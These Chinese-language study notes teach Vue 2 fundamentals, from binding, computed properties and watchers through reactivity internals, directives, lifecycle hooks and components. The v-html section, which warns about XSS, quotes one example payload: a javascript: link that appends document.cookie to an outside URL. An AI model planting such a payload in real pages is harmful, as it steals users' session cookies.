「尚硅谷 张天禹」Vue2基础知识

初识vue

阻止生成生产提示

如果使用的是开发版Vue，Vue 在启动时会生成生产提示

// 关闭提示，新建 Vue 实例要在此语句下面

Vue.config.productionTip = false

vue模版语法

插值语法

用于标签体内容

语法：{{你要动态变化的数据}}

// 示例：创建 Vue 实例，定义数据name

new Vue({

 el:'#root', // element

 data:{

 name:"liuweb"

 }

})

// 在 div 标签中插值

 {{name}} 

指令语法

用于解析标签属性

数据绑定（v-bind v-model）

单向数据绑定v-bind

单向的意思：只能从data流向页面（只能通过修改实例中data的数据改变标签数据）

语法：v-bind:标签属性，可以简写成:属性。

// 示例：创建 Vue 实例，定义数据url,在 a 标签中插值

// 使用 v-bind： 绑定后，就会把里面的语句当成表达式解析

<a v-bind:href="url">跳转链接</a>

<a :href="url">跳转链接</a>

双向数据绑定v-model

双向的意思：可以从data流向页面，还可以从页面流向data

语法：v-model:标签属性，可以简写成v-model, 因为默认收集的是value值。

注意：v-model只能应用在表单类元素(输入类元素)上

//简写

el和data的两种写法

el有2种写法

new Vue时候配置el属性。

const v = new Vue({

 el: '#root', //第一种写法

 data: {

 name: '上海'

 }

});

先创建Vue实例，随后再通过vm.$mount(‘#root’)指定el的值。

const v = new Vue({

 // el: '#root', //第一种写法

 data: {

 name: '上海'

 }

});

// console.log(v);

//关联root容器，用mount方法

v.$mount('#root'); //第二种写法 挂载到页面上

可以实现延迟挂载等，更加灵活。

setTimeout(() => {

 v.$mount('#root'); //延迟挂载到页面上

}, 3000)

data有2种写法

对象式

new Vue({

 el: '#root',

 //data的第一种写法:对象式

 data: {

 name: 'shanghai'

 }

})

函数式

返回对象中包含你想渲染的模版数据

//学习组件的时候要是用函数式 这个函数是Vue来调用的

new Vue({

 el: '#root',

 data (){

 console.log('@@@', this); //此时this是Vue

 return {

 name: 'shanghai'

 }

 }

})

尽量不要写成箭头函数，因为会丢失this

data: () => {

 console.log(`@@@@`, this); //此时this是window，因为箭头函数没有自己的this，它向外查找找到的window

 return ({

 name: 'shanghai'

 })

}

如何选择

目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。

MVVM模型

概念

M：模型(Model) ：data中的数据

V：视图(View) ：模板代码

VM：视图模型(ViewModel)：Vue实例

深入

data中所有的属性，最后都出现在了vm身上。

const vm = new Vue(

 {

 el: "#app",

 data: {

 name: "liuweb"

 }

 }

);

console.log(vm);

vm身上所有的属性及Vue原型上所有属性，在Vue模板中都可以直接使用。

数据代理

回顾Object.defineProperty方法

基本语法

Object.defineProperty 语法：Object.defineProperty(obj, prop, descriptor)

obj要定义属性的对象。

prop一个字符串或 Symbol，指定了要定义或修改的属性键。

descriptor要定义或修改的属性的描述符。

返回值为传入函数的对象，其指定的属性已被添加或修改。

简单使用

let a = {

 name:"liuweb"

}

// 加入age数据

Object.defineProperty(a,'age',{

 value:18,

})

console.log(Object.keys(a)) //用数组输出数据

age 属性默认可访问

但不可被枚举

完整参数

let a = {

 name:"liuweb"

}

// 加入age数据

Object.defineProperty(a,'age',{

 value:18,

 enumerable:true, // 让数据可枚举

 writable:true, // 让数据可修改

 configurable:true // 让数据可删除

})

console.log(Object.keys(a)) //用数组输出数据

get set

get

当 value 不提前指定，可以通过 get 与变量进行绑定。

let age = 18;

let a = {

 name: "liuweb"

};

// 加入age数据

Object.defineProperty(a, 'age', {

 // value:18,

 get() { //当读取age属性时get属性就会被调用，且返回值就是age的值

 return age;

 }

})

console.log(a) //用数组输出数据

console 中 age 属性需要点击获取

将 age 变量进行修改再访问age = 19a 中的 age 属性也进行同步获取并修改

set

let age = 18;

let a = {

 name: "liuweb"

};

// 加入age数据

Object.defineProperty(a, 'age', {

 get() {

 return age;

 },

 set(number) {

 age = number;

 }

})

console.log(a) //用数组输出数据

实现了双向绑定

定义数据代理

数据代理，通过一个对象代理另一个对象中属性的操作

// 示例

let obj = {x:100}

let obj2 = {y:200}

Object.defineProperty(obj2,'x',{

 // 访问 obj2.x 可以输出 obj.x 的值

 get(){

 return obj.x

 },

 // 修改 obj2.x 可以修改 obj.x 的值

 set(value){

 obj.x = value

 }

})

Vue中的数据代理

Vue 通过vm对象来代理data对象中属性的操作（读/写）

vm._data存有 data 原始数据

但使用起来不方便，如需使用{{._data.name}}获得 data 中的 name 属性

vm对象代理后，可以更加方便的操作data中的数据

基本原理：

通过Object.defineProperty()把data对象中所有属性添加到vm上。

为每一个添加到vm上的属性，都指定一个getter/setter。

在getter/setter内部去操作（读/写）data中对应的属性。

事件处理（methods）

事件的基本使用

语法

事件绑定v-on:事件可简写为@事件

methods

事件的回调需要配置在methods对象中，最终会在vm上；

methods:{

 show(event){

 console.log(event) // 事件对象

 }

}

methods 中配置的函数this是 vue实例（vm），但不要用箭头函数，不然this就不是 vm 了是 window

其实事件回调函数也可以写在 data 里，但是会被代理到 vm 上，浪费资源，因此单独设计了 methods 对象，下图中放在data中的showInfo2被做了数据代理。

参数

event会作为默认参数传进来，顺序不固定。

 // 1

 // 2

 // 传参。假设点击时执行show()函数

 3 //函数名后无括号() 时默认传事件对象

 4 //有括号()为空时无默认参数

 5 //$event占位传递进来 顺序可以不固定



const vm = new Vue({

 el:'#root',

 methods:{

 show(number,event){

 console.log(number) // 10

 console.log(event) // 事件对象

 }

 }

})

事件修饰符

Vue中的事件修饰符，可以连续写。

prevent：阻止默认事件（常用）

stop：阻止事件冒泡（常用）

once：事件只触发一次（常用）

<!--事件只触发一次-->

点我提示信息,只在第一次点击生效

capture：使用事件的捕获模式

div1

div2

self：只有event.target是当前操作的元素时才触发事件

<!-- self 只有event.target是当前操作的元素时才触发事件(变相阻止冒泡)-->



 点我提示信息

passive：事件的默认行为立即执行，无需等待事件回调执行完毕

键盘事件

vue中键盘事件的绑定 一般用keyUp(keydown)，@keyup 按键按下去抬起来后执行 @keydown 按键按下去就执行@keyup="XXX"。

1.Vue中常用的按键别名：

回车 => enter

删除 => delete (捕获“删除”和“退格”键)

退出 => esc

空格 => space

换行 => tab (特殊，必须配合keydown去使用)

上 => up

下 => down

左 => left

右 => right

<!-- 准备好一个容器-->



 ## 欢迎来到{{name}}学习

 





 new Vue({

 el:'#root',

 data:{

 name:'浙江理工大学'

 },

 methods: {

 showInfo(e){

 // console.log(e.key,e.keyCode)

 console.log(e.target.value)

 }

 },

 })

2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）。

3.系统修饰键（用法特殊）

ctrl、alt、shift、meta

(1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。

(2).配合keydown使用：正常触发事件。

4.也可以使用keyCode去指定具体的按键（不推荐）

5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名。

6.支持连写。

计算属性（computed）

产生背景

要用的属性不存在，要通过已有的属性计算得来，因该避免在模板中引入复杂表达式，如{{firstName.slice(0,3)}}-{{this.lastName}}。

可以通过methods函数实现

methods:{

 fullName(){

 return `${this.firstName.slice(0,3)} -- ${this.lastName}`

 }

}

语法

可以使用计算属性（computed）实现。

data中的数据发生变化的话，要重新解析模版，对数据进行更新，插值模版中的函数也会更新。

methods没有缓存，读几次就调用几次无论要用的数据是否发生变化。

与methods实现相比，computed内部有缓存机制（复用），效率高。

底层借助了Object.defineproperty方法提供的getter、setter。

注意，计算属性算完之后直接丢到了viewModel实例对象身上，直接读取使用即可，vm._data是不存计算属性的。

computed: {

 fullName: {

 get(){

 //此时get函数中的this指向是vm

 return this.firstName + '--' + this.lastName;

 },

 set(value){

 //修改计算属性所依赖的普通属性(放在data里面的)

 //this === vm

 }

 }

}

调用时机

get的调用时机

1.初次读取计算属性时

2.所依赖的数据（data中的属性）发生变化时，不改变的话直接读缓存（复用）。

set的调用时机

如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

set(value){

 //修改计算属性所依赖的普通属性(放在data里面的)

 //this === vm

 const [ firstName, lastName ] = value.split('-');

 this.firstName = firstName;

 this.lastName = lastName; //依赖属性发生改变之后,计算属性自动改变

}

简写语法实现

当计算属性只考虑读取不考虑修改，即 set丢了，可以简写为一个函数(这个函数当成getter使用)，注意不要写箭头函数。

执行完getter之后，vm直接保存返回的数据为fullName属性的属性值，此时vm.fullName不是函数而是一个确切的计算值。

computed: {

 //简写形式

 fullName(){

 return this.firstName + '--' + this.lastName;

 }

}

监视属性（watch）

产生背景

数据变化需要及时知道的需求

语法

当被监视的属性变化时，回调函数自动调用，进行相关操作。

监视的属性必须存在，才能进行监视！！

watch不仅能监视data的普通属性，也可以检测计算属性

监视的两种写法：

(1).new Vue时传入watch配置

const vm = new Vue({

 el:'#root',

 data:{

 isHot:true

 },

 watch:{

 //监视的配置对象

 //

 isHot:{

 immediate: true, //当这个属性为true时，页面刚渲染就运行handler函数

 //handler 什么时候调用呢

 //当isHot发生改变就会调用该函数

 //handler接收两个参数，一个是这个状态参数改变前的值，另一个是改变后的旧值

 handler(newValue, preValue){

 console.log('ishot 被修改了');

 console.log(`newValue: ${newValue}, preValue: ${preValue}`);

 }

 }

 }

})

(2).通过vm.$watch监视

vm.$watch('isHot',{

 immediate:true, //初始化时让handler调用一次，默认false

 handler(newValue,oldValue){

 console.log(newValue,oldValue)

 }

})

深度监视

Vue自身可以监测对象内部值的改变，但Vue中的watch默认不监测对象内部值的改变（一层）。

监视多级结构里面的单一属性可以使用'numbers.a'方式

data:{

 numbers:{

 a:1,

 b:1,

 }

},

watch:{

 //监测多级结构里面的属性 深度监视

 'numbers.a':{

 handler(){

 console.log('a发生改变了')

 }

 }

}

但要想监视numbers内部变化，即a、b任一数据的变化，下面方式是无效的

data: {

 numbers: {

 a: 1,

 b: 2

 }

},

watch: {

 'numbers': {

 handler() {

 console.log("numbers change");

 }

 }

}

只有改变 numbers 对象地址才会触发。例如指向新对象@click="numbers={}"

使用watch时根据数据的具体结构，决定是否采用深度监视。

配置deep:true可以监测对象内部值改变（多层）。

watch:{

 numbers:{

 deep: true, //监视多级结构的属性

 handler(){

 console.log('numbers 发生改变')

 }

 }

}

简写形式

watch:{

 //简写的前提watch的属性不需要immediate和deep属性的时候

 isHot(newValue, preValue){

 console.log(newValue,preValue);

 }

}

vm.$watch('isHot',function(){

 console.log('数据改变了')

})

computed和watch之间的区别

1.computed能完成的功能，watch都可以完成。

2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。

两个重要的小原则：

1.所有被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或 组件实例对象。

2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，这样this的指向才是vm 或 组件实例对象。

绑定样式（:class :style）

class样式

写法:class="xxx" xxx可以是字符串、对象、数组。 字符串写法适用于：类名不确定，要动态获取。 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

字符串写法

适用于：样式的类名不确定，需要动态指定。

// 示例1,一个div有基础样式base，有其他样式a,b,c



 



// js

new Vue({

 el:"#root",

 data:{

 mood:'a'

 }

})

数组写法

适用于：要绑定的样式个数不确定、名字不确定。

// 示例2



 



// js

new Vue({

 el:"#root",

 data:{

 classArr:['a','b','c'] // 要修改时，改classArr的数量即可

 }

})

对象写法

适用于：要绑定的样式、名字确定，但要动态决定用不用。

// 示例2



 



// js

new Vue({

 el:"#root",

 data:{

 classObj:{ // 要修改时改变布尔值即可

 a:true,

 b:true,

 c:false

 }

 }

})

<!--绑定style样式 对象写法-->

 

 {{ name }}

 

 

 <!--绑定style样式 数组写法-->

 

 {{ name }}

 

 

 

 {{ name }}

 

style样式

:style="{fontSize: xxx}"其中xxx是动态值。

:style="[a,b]"其中a、b是样式对象。

<!--绑定style样式 对象写法-->



 {{ name }}





<!--绑定style样式 数组写法-->



 {{ name }}







 {{ name }}



data: {

 name:'test',

 styleObj:{

 fontSize: '40px',

 color: 'red',

 },

 styleObj2:{

 background: 'green'

 },

 styleArr:[

 { color: 'orange' },

 { background: 'grey' }

 ]

},

条件渲染（v-show v-if）

v-show

写法：v-show=”表达式”

适用于：切换频率较高的场景。

特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉。

//v-show要能转换为一个布尔值 v-show条件渲染

## 欢迎来到{{ name }}

## 欢迎来到{{ name }}

v-if

angular

react

vue js

not found

适用于：切换频率较低的场景。

特点：不展示的DOM元素直接被移除。

注意：v-if可以和v-else-if、v-else一起使用，但要求结构不能被“打断”。

为了不破坏结构，可以结合template使用。

<!--v-if与template的配合使用-->



 ## 你好

 ## shanghai

 ## shenzhen

列表渲染（v-for）

语法

v-for用于展示列表数据，可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）。

语法：v-for="(item, index) in xxx" :key="yyy"。

:代表v-bind属性，key让每一项有了唯一的标识，因此key一定不要重复。

(item, index)可以接受到两个参数，一个是当前的元素另一个是当前元素的索引

<!--遍历数组-->



<!--循环列表的方法 类似与for in循环遍历-->

<!--:代表v-bind 属性key让每一个li有了唯一的标识,key一定不要重复-->

<!--v-for(for in// for of)可以接受到两个参数,一个是当前的元素另一个是当前元素的索引 类似于下面的person,index-->

- 

<!--p可能来自形参，也可能来自于写在data里的属性，更可能来自于计算属性 computed-->

{{person.name}} - {{ person.age }}





<!--遍历对象-->

## 汽车信息

<!--注意遍历对象的时候先收到的是每一项的属性的value，第二项是对应的键名:key-->



- {{ key }} -- {{ val }}



<!--遍历字符串 用的不多-->

## 测试遍历字符串

<!--注意遍历字符串的时候先收到的是字符串中每一个字符，第二项是其对应的索引index-->



- {{ index }} -- {{ c }}



<!--遍历指定次数-->

## 遍历指定次数

<!--注意遍历指定次数的时候先收到的是number(例如5，则number是1，2，3，4，5)，第二项是对应index(从0开始计数,则是0,1,2,3,4)-->



- {{ index }} -- {{ num }}







new Vue({

el: '#root',

data: {

//数组

persons: [

{id: '001', name: '张三', age: 18},

{id: '002', name: '李四', age: 19},

{id: '003', name: '王五', age: 20}

],

car: {

name: '奥迪a8',

price: '70w',

color: '黑色'

},

str: 'hello'

}

})

key属性的作用与原理

面试题：react、vue中的key有什么作用？（key的内部原理）

虚拟DOM中key的作用：

key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,

随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

对比规则：

(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：

①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！

②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

(2).旧虚拟DOM中未找到与新虚拟DOM相同的key

创建新的真实DOM，随后渲染到到页面。

用index作为key可能会引发的问题：

1.若对数据进行：逆序添加、逆序删除等破坏顺序操作:

会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

2.如果结构中还包含输入类的DOM：

会产生错误DOM更新 ==> 界面有问题。

开发中如何选择key?:

1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。

2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，

使用index作为key是没有问题的。

列表过滤

watch

## 人员列表

<!--v-model双向绑定-->





- {{p.name}}-{{ p.age }}- {{ p.sex }}







// 用监视属性书写功能

new Vue({

el:'#root',

data: {

keyword : '',

persons: [

{id: "001", name:'周冬雨', age:20, sex:'女'},

{id: "002", name:'马冬梅', age:19, sex:'女'},

{id: "003", name:'周杰伦', age:21, sex:'男'},

{id: "004", name:'温兆伦', age:22, sex: '男'},

],

filPersons: []

},

//watch监听用户输入项keyword的变化

watch:{

keyword: {

immediate: true, //上来就进行监视获得到的newV是''

handler(newV){

// console.log(newV)

//不要修改元数据，这样只会越写越少

//注意一个某个字符串.indexOf('')是0而不是-1(都包含空字符串)

this.filPersons = this.persons.filter(p => p.name.indexOf(newV) !== -1);

}

}

}

})

computed

## 人员列表

<!--v-model双向绑定-->





- {{p.name}}-{{ p.age }}- {{ p.sex }}







//当computed和watch都可以实现基本功能时优先考虑computed (重要)

new Vue({

el:'#root',

data: {

keyword : '',

persons: [

{id: "001", name:'周冬雨', age:20, sex:'女'},

{id: "002", name:'马冬梅', age:19, sex:'女'},

{id: "003", name:'周杰伦', age:21, sex:'男'},

{id: "004", name:'温兆伦', age:22, sex: '男'},

],

},

computed:{

filPersons(){

return this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);

}

}

})

列表排序

## 人员列表

<!--v-model双向绑定-->



年龄升序

年龄降序

原顺序



- {{p.name}}-{{ p.age }}- {{ p.sex }}







new Vue({

el:'#root',

data: {

keyword : '',

sortType: 0, //0代表原顺序 1代表降序 2代表升序

persons: [

{id: "001", name:'周冬雨', age:20, sex:'女'},

{id: "002", name:'马冬梅', age:19, sex:'女'},

{id: "003", name:'周杰伦', age:21, sex:'男'},

{id: "004", name:'温兆伦', age:22, sex: '男'},

],

},

computed:{

filPersons(){

const arr = this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);

//判断是否需要排序

if(!this.sortType) return arr;

//sort回调回收到前后两个数据项,a和b

//sort会改变的原数组

return arr.sort((p1, p2) => this.sortType === 1 ? p2.age-p1.age : p1.age - p2.age);

}

}

});

数据监测的原理

更新时的一个问题

data: {

 persons: [

 {id: "001", name:'周冬雨', age:20, sex:'女'},

 {id: "002", name:'马冬梅', age:19, sex:'女'},

 {id: "003", name:'周杰伦', age:21, sex:'男'},

 {id: "004", name:'温兆伦', age:22, sex: '男'},

 ],

},

methods:{

 updateM(){

 // this.persons[1].name = '马老师'; //奏效

 // this.persons[1].age = 50; //奏效

 // this.persons[1].sex = '男'; //奏效

 // this.persons[1] = { id: '002', name: '马老师', age: 50, sex:'男' }; //这样修改vue是无法监测数据的

 this.persons.splice(1,1,{ id: '002', name: '马老师', age: 50, sex:'男' });

 }

}

vue监测数据改变的原理_对象

如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

(1).对象中后追加的属性，Vue默认不做响应式处理

(2).如需给后添加的属性做响应式，请使用如下API：

Vue.set(target,propertyName/index,value) 或vm.$set(target,propertyName/index,value)

模拟一个数据监测

let data = {

 name: "武汉科技大学",

 address: '武汉'

}

//无限递归 调用栈炸了 内存溢出

//错误写法

// Object.defineProperty(data, 'name', {

// get(){

// return data.name

// },

// set(val){

// data.name = val;

// }

// })

//创建一个监视实例对象

const obs = new Observer(data);

//准备一个vm实例

let vm = { };

vm._data = data = obs;

//观察者

function Observer(obj){

 //缺陷：未实现递归(对象嵌套对象就会出现问题)

 const keys = Object.keys(obj);

 //遍历对象当中所有的key

 keys.forEach(key => {

 Object.defineProperty(this, key, {

 get(){

 return obj[key]

 },

 set(v) {

 console.log(`${key}的值改变了,变为${v}`);

 obj[key] = v;

 }

 })

 });

}

Vue.set的使用

# 学校信息

## 学校名称:{{ name }}

## 学校地址:{{ address }}



# 学生信息

添加一个性别属性,默认值是男

## 学生姓名:{{ stu.name }}

## 学生真实年龄:{{ stu.age.rage }}

## 学生对外年龄:{{ stu.age.sage}}

## 学生性别: {{ stu.sex }}

## 朋友们



- {{ f.name }} -- {{ f.age }}







const vm = new Vue({

el: '#root',

data:{

name: '武汉科技大学',

address: '武汉',

stu:{

name: 'tom',

age:{

rage: 12,

sage: 29

},

friends: [

{ name: 'Jerry', age: 23 },

{ name: 'Jane', age: 18 }

]

}

},

methods:{

addSex(){

//这里this === vm

//利用vue.set(或者vm.$set())api能够添加的属性变为响应式属性

//注意对象不能是 Vue 实例，或者 Vue 实例的根数据对象。

Vue.set(this.stu, 'sex', '男')

// this.$set(this.stu, 'sex', '男');

}

}

})

vue监测数据改变的原理_数组

通过包裹数组更新元素的方法实现，本质就是做了两件事：

(1).调用原生对应的方法对数组进行更新。

(2).重新解析模板，进而更新页面。

在Vue修改数组中的某个元素一定要用如下方法：

1.使用这些API：push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set() 或 vm.$set()

特别注意：Vue.set()和vm.$set()不能给vm或者vm 的根数据对象添加属性

vue数据监测总结

Vue监视数据的原理：

1.vue会监视data中所有层次的数据。

2.如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

(1).对象中后追加的属性，Vue默认不做响应式处理

(2).如需给后添加的属性做响应式，请使用如下API：

Vue.set(target,propertyName/index,value) 或

vm.$set(target,propertyName/index,value)

3.如何监测数组中的数据？

通过包裹数组更新元素的方法实现，本质就是做了两件事：

(1).调用原生对应的方法对数组进行更新。

(2).重新解析模板，进而更新页面。

4.在Vue修改数组中的某个元素一定要用如下方法：

1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给vm或vm的根数据对象 添加属性！！！

注: 数据劫持可以理解成为vue对你写在data的数据会进行加工，让它们都变成响应式的。

收集表单数据

若：``，则v-model收集的是value值，用户输入的就是value值。

若：``，则v-model收集的是value值，且要给标签配置value值。

若：``

1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

2.配置input的value属性:

(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）

(2)v-model的初始值是数组，那么收集的的就是value组成的数组

备注：v-model的三个修饰符：

lazy：失去焦点再收集数据

number：输入字符串转为有效的数字

trim：输入首尾空格过滤

过滤器

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

1.注册过滤器：全局过滤器Vue.filter(name,callback) 或局部过滤器 new Vue{filters:{}}

2.使用过滤器：{{ xxx 过滤器名}} 或 v-bind:属性 = "xxx 过滤器名"

备注：

1.过滤器也可以接收额外参数、多个过滤器也可以串联

2.并没有改变原本的数据, 是产生新的对应的数据

内置指令

v-text指令

1.作用：向其所在的节点中渲染文本内容。 (纯文本渲染)

2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。这里有点不太灵活

注意v-text不会解析标签，而是直接将标签当纯文本解析

v-html指令

1.作用：向指定节点中渲染包含html结构的内容。

2.与插值语法的区别：

(1).v-html会替换掉节点中所有的内容，则不会。

(2).v-html可以识别html结构。

3.严重注意：v-html有安全性问题！！！！

(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'

v-cloak指令（没有值）

1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出的问题。

v-once指令

1.v-once所在节点在初次动态渲染后，就视为静态内容了。

2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

## 初始化n的值为:{{ n }}

## 当前的n值为:{{ n }}

v-pre指令

1.跳过其所在节点的编译过程。

2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

自定义指令

一、定义语法：

(1).局部指令：

new Vue({directives:{指令名:配置对象} }) 或 new Vue({directives: {指令名:回调函数}})

(2).全局指令：

Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调：

(1).bind：指令与元素成功绑定时调用。

(2).inserted：指令所在元素被插入页面时调用。

(3).update：指令所在模板结构被重新解析时调用。

三、备注：

1.指令定义时不加v-，但使用时要加v-；

2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

生命周期

1.又名：生命周期回调函数、生命周期函数、生命周期钩子。

2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。

3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。

4.生命周期函数中的this指向是vm 或 组件实例对象。

常用的生命周期钩子:

1.mounted：发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】

2.beforeDestroy：清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例 :

1.销毁后借助Vue开发者工具看不到任何信息。

2.销毁后自定义事件会失效，但原生DOM事件依然有效。

3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会触发更新流程了。

 # 当前的n值是{{ n }}

 # 

 点我+1

 点我销毁vm





 Vue.config.productionTip = false;

 new Vue({

 el:"#root",

 //template模版字符串只能有一个根结点

 // template:'# 当前的n值是{{ n }}
' +

 // '点我+1',

 //注意template是不能作为根标签来使用的，不能去骗vue，可以用fragment(vue3新加，模仿react)

 data: {

 n: 1

 },

 methods:{

 add(){

 console.log('add')

 this.n++;

 },

 bye(){

 //实例销毁后调用。该钩子被调用后，对应 Vue 实例的所有指令都被解绑，所有的(自定义)事件监听器被移除，所有的子实例也都被销毁。

 console.log('bye');

 this.$destroy();

 }

 },

 watch:{

 n(){

 console.log('n变了');

 }

 },

 beforeCreate(){

 console.log('beforeCreate');

 // console.log(this);

 },

 created(){

 console.log('created');

 // console.log(this);

 },

 beforeMount(){

 console.log('beforeMount');

 // console.log(this);

 },

 mounted(){

 console.log('mounted');

 console.log(this);

 // document.querySelector('h1').innerText = 'hahah';

 },

 beforeUpdate(){

 console.log('beforeUpdate');

 //console.log(this.n); //此时数据是新的，页面还是旧的，vue还没根据新的数据去生成新的虚拟dom，去比较旧的虚拟dom

 },

 updated(){

 console.log('updated');

 console.log(this.n); //此时数据是新的，页面也是新的，同步

 },

 beforeDestroy(){

 //仍然可以使用data,methods，关闭定时器，取消订阅消息，解绑自定义事件等收尾工作，移除watchers

 console.log('beforeDestroy');

 console.log(this.n);

 // this.add(); //记住一旦到了beforeDestroy或者destroyed钩子，即使你拿到数据想要更新它也不会走更新的路了(beforeUpdate,updated)

 },

 //destroyed钩子几乎不用

 destroyed(){

 console.log('destroyed');

 }

 });

非单文件组件

Vue中使用组件的三大步骤

定义组件(创建组件)

注册组件

使用组件(写组件标签)

如何定义一个组件

使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别：

1.el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。

2.data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系。

备注：使用template可以配置组件结构。

如何注册组件

1.局部注册：靠new Vue的时候传入components选项

2.全局注册：靠Vue.component('组件名',组件)

编写组件标签

``

// 示例



 ## 组件：局部注册

 // 3.使用组件标签

 





 // 1.创建组件

 const myinfo = Vue.extend({

 template:`

 

 #### 我的名字叫:{{myName}}

 #### 我今年{{age}}岁

 

 `,

 data(){

 return {

 myName:'lhd',

 age:19

 }

 }

 })

 new Vue({

 el:"#root",

 components:{

 // 2.注册组件

 myinfo:myinfo // 第一个myInfo是定义的标签名，第二个是组件名

 // 同名可以直接写一个名字=> myinfo

 }

 })

关于组件名：

一个单词组成：

第一种写法(首字母小写)：info

第二种写法(首字母大写)：Info

多个单词组成：

第一种写法(kebab-case命名)：my-info

第二种写法(CamelCase命名)：MyInfo（需要Vue脚手架支持）

备注：

(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。

(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

关于组件标签：

第一种写法：``

第二种写法：``

备注：不用使用脚手架时，``会导致后续组件不能渲染。

组件嵌套

在父组件中注册子组件，子组件的组件标签写在父组件的template中。

// 示例，school组件里面有student

const student = Vue.extend({

 template:`## 我是学生组件`,

})

const school = Vue.extend({

 // 子组件注册给哪个父组件，就嵌套在哪个副组件里面

 template:`# 我是学校组件`,

 components:{

 // 注册学生组件

 student

 }

})

new Vue({

 el:"#root",

 components:{

 // 注册学校组件

 school

 }

})

VueComponent

1.school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。

2.我们只需要写，Vue解析是会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options)。

3.特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！

4.关于this指向：

(1).组件配置中：

data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent的实例对象】

(2).new Vue(options)配置中：

data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】

5.VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。Vue的实例对象，以后简称vm。

6.因为组件是可复用的 Vue 实例，所以它们与 new Vue 接收相同的选项，例如 data、computed、watch、methods 以及生命周期钩子等。

仅有的例外是像 el 这样根实例特有的选项。

所以vm与vc属性配置并不是一模一样，尽管vc底层复用了很多vm的逻辑

一个重要的内置关系

VueComponent.prototype.__proto__Vue.prototype

为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法